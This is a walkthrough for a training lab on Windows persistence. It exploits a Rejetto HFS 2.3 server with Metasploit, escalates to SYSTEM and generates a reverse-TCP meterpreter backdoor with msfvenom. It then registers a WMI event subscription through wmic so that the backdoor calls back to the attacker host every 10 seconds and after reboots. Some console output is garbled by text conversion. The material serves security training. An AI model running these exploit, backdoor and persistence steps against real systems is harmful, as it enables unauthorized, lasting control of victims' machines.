Name	Maintaining Access: WMIC
URL	https://attackdefense.com/challengedetails?cid=2213
Type	Windows Security: Maintaining Access: Basics

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Checking the target IP address.

**Note:** The target IP address is stored in the "target" file.

**Command:** cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.21.172
root@attackdefense:~#
```

**Step 2:** Run a Nmap scan against the target IP.

**Command:** nmap 10.0.21.172

```
root@attackdefense:~# nmap 10.0.21.172
Starting Nmap 7.70 ( https://nmap.org ) at 2020-12-05 17:53 IST
Nmap scan report for 10.0.21.172
Host is up (0.0013s latency).
Not shown: 990 closed ports
PORT
         STATE SERVICE
80/tcp
         open http
135/tcp
         open msrpc
139/tcp
          open netbios-ssn
445/tcp
         open microsoft-ds
3389/tcp
         open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49163/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 17.66 seconds
root@attackdefense:~#
```

**Step 3:** We have discovered that multiple ports are open. We will run Nmap again to determine version information on port 80.

**Command:** nmap -sV -p 80 10.0.21.172

```
root@attackdefense:~# nmap -sV -p 80 10.0.21.172
Starting Nmap 7.70 ( https://nmap.org ) at 2020-12-05 17:54 IST
Nmap scan report for 10.0.21.172
Host is up (0.0019s latency).

PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.53 seconds
root@attackdefense:~#
```

Step 4: We will search the exploit module for hfs file server using searchsploit.

Command: searchsploit hfs

```
root@attackdefense:~# searchsploit hfs
 Exploit Title
Apple Mac OSX 10.4.8 - DMG |
                                  + D0
                                             _TRUNCATE Denial of Service
Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)
Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure
Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation
       FTP/HTTP File Server 2.1.2 Remote Command Execution
Linux Kernel 2.6.x - Squas
                                   Double-Free Denial of Service
Rejetto HTTP File Server (
                                   - Remote Command Execution (Metasploit)
Rejetto HTTP File Server
                                    1.5/2.x - Multiple Vulnerabilities
Rejetto HTTP File Server
                                  ) 2.2/2.3 - Arbitrary File Upload
Rejetto HTTP File Server (
                                  ) 2.3.x - Remote Command Execution (1)
Rejetto HTTP File Server (
                                 S) 2.3.x - Remote Command Execution (2)
Rejetto HTTP File Server (
                                 3) 2.3a/2.3b/2.3c - Remote Command Execution
Shellcodes: No Result
Papers: No Result
root@attackdefense:~#
```

**Step 5:** Rejetto HTTP File Server (HFS) 2.3 is vulnerable to RCE. Exploiting the target server using the Metasploit framework.

# Commands:

msfconsole -q use exploit/windows/http/rejetto\_hfs\_exec set RHOSTS 10.0.21.172 exploit

```
root@attackdefense:-# msfconsole -q
msf6 > use exploit/windows/http/rejetto_hfs_exec
   No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.0.21.172
RHOSTS => 10.0.21.172
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

Started reverse TCP handler on 10.10.1.2:4444
Using URL: http://0.0.0.0:8080/7vuvTq2001
Local IP: http://10.10.1.2:8080/7vuvTq2001
Server started.
Server started.
Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
```

We have successfully exploited the target vulnerable application (hfs) and received a meterpreter shell.

**Step 6:** Checking the current user.

Command: getuid

```
meterpreter > getuid
Server username: WIN-OMCNBKR66MN\Administrator
meterpreter >
```

**Step 7:** We can observe that we are running as an administrator user. Elevate to the system privilege

# Commands:

getsystem getuid

We are running as a system user.

Step 8: Migrate in Isass.exe process

## Commands:

ps -S Isass.exe migrate 692

**Step 9:** In this case, we are configuring a persistence backdoor using the wmic (Windows Management Instrumentation Command) utility which is already there in the Windows OS.

We will be creating a namespace i.e "**root\subscription**" of three events which will be executed in every 10 seconds. First, we need to generate a malicious executable.

**Command:** msfvenom -p windows/meterpreter/reverse\_tcp LHOST=**10.10.1.2** LPORT=4444 -f exe > backdoor.exe

```
root@attackdefense:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.2 LPORT=4444 -f exe > backdoor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
root@attackdefense:~# file backdoor.exe
backdoor.exe: PE32 executable (GUI) Intel 80386, for MS Windows
root@attackdefense:~# ■
```

We have generated malicious executable i.e backdoor.exe

**Step 10:** Uploading backdoor.exe to the user's temp folder.

Switch directory to C:\\Users\\Administrator\\AppData\\Local\\Temp.

#### Commands:

ls

```
meterpreter > cd C:\\Users\\Administrator\\AppData\\Local\\Temp
meterpreter > upload /root/backdoor.exe .
    uploading : /root/backdoor.exe ->
    uploaded
              : /root/backdoor.exe -> .\backdoor.exe
<u>meterpreter</u> > ls
Listing: C:\Users\Administrator\AppData\Local\Temp
Mode
                  Size
                         Type Last modified
                                                          Name
40777/rwxrwxrwx
                         dir
                               2020-12-05 17:52:25 +0530
                  0
100777/rwxrwxrwx
                  73802
                         fil
                               2020-12-05 18:00:31 +0530 backdoor.exe
meterpreter >
```

**Step 11:** Run the wmic commands to maintain the backdoor.

## Commands:

shell

Create an \_\_EventFilter instance.

wmic /NAMESPACE:"\\root\subscription" PATH \_\_EventFilter CREATE
Name="AttackDefense", EventNameSpace="root\cimv2",QueryLanguage="WQL",
Query="SELECT \* FROM \_\_InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA
'Win32\_PerfFormattedData\_PerfOS\_System'"

Create an \_\_EventConsumer instance and use CommandLineEventConsumer Class

wmic /NAMESPACE:"\\root\subscription" PATH **CommandLineEventConsumer** CREATE Name="AttackDefense",

 $\label{local-loc$ 

Register the event permanently.

wmic /NAMESPACE:"\\root\subscription" PATH \_\_FilterToConsumerBinding CREATE Filter="\_\_EventFilter.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\""

**Note:** For more information about WMI events and namespace please refer to <u>WMI services</u> exploitation challenges.

```
C:\Users\Administrator\AppData\Local\Temp>\mic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="AttackDefense", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_Perf0S_System'"

wini2_NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="AttackDefense", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_Perf0S_System'"

Instance creation successful.

C:\Users\Administrator\AppData\Local\Temp>\mic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="AttackDefense", ExecutablePath="C:\Users\Administrator\AppData\Local\Temp\backdoor.exe", CommandLineTemplate="C:\Windows\system32\backdoor.exe"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="AttackDefense", ExecutablePath="C:\Users\Administrator\AppData\Local\Temp\backdoor.exe", CommandLineTemplate="C:\Windows\system32\backdoor.exe"

Instance creation successful.

C:\Users\Administrator\AppData\Local\Temp>\mic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="_EventFilter.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\""

wnic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="_EventFilter.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Name=\"AttackDefense\"", Consumer="CommandLineEventConsumer.Nam
```

**Step 12:** We have successfully maintained access. Start another msfconsole and run a multi handler to regain access.

### Commands:

msfconsole -q
use exploit/multi/handler
set LHOST **10.10.1.2**set PAYLOAD windows/meterpreter/reverse\_tcp
set LPORT 4444
exploit

As soon as you run the handler you would receive a new meterpreter session.

```
OCI OSI OS
```

```
msf6 > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.1.2
LHOST => 10.10.1.2
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.1.2:4444
[*] Sending stage (175174 bytes) to 10.0.21.172
[*] Meterpreter session 5 opened (10.10.1.2:4444 -> 10.0.21.172:49213) at 2020-12-05 18:07:03 +0530
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ■
```

This would persist after a reboot.

**Step 13:** Reboot the machine.

Commands: reboot

```
meterpreter > reboot
Rebooting...
meterpreter >
meterpreter >
```

Re-run the handler if you stopped it.

```
meterpreter > reboot
Rebooting...
meterpreter >
meterpreter >
meterpreter >
meterpreter >
meterpreter >
[*] 10.0.21.172 - Meterpreter session 5 closed. Reason: Died
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.1.2:4444
```

Once the machine reboots we would expect a new meterpreter session again without re-exploitation.

Please wait patiently, you would receive the meterpreter session after the windows server loads completely. This could take up to 5 minutes.

```
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.1.2:4444

[*] 10.0.21.172 - Meterpreter session 1 closed. Reason: Died

[*] Sending stage (175174 bytes) to 10.0.21.172

[*] Meterpreter session 6 opened (10.10.1.2:4444 -> 10.0.21.172:49169) at 2020-12-05 18:09:00 +0530

meterpreter >
meterpreter >
```

We have received a new meterpreter session.

#### References:

- 1. Rejetto HTTP File Server (HFS) 2.3.x Remote Command Execution (<a href="https://www.exploit-db.com/exploits/39161">https://www.exploit-db.com/exploits/39161</a>)
- 2. Persistence WMI Event Subscription (<a href="https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/">https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/</a>)
- 3. WMI Persistence using wmic.exe (<a href="http://www.exploit-monday.com/2016/08/wmi-persistence-using-wmic.html">http://www.exploit-monday.com/2016/08/wmi-persistence-using-wmic.html</a>)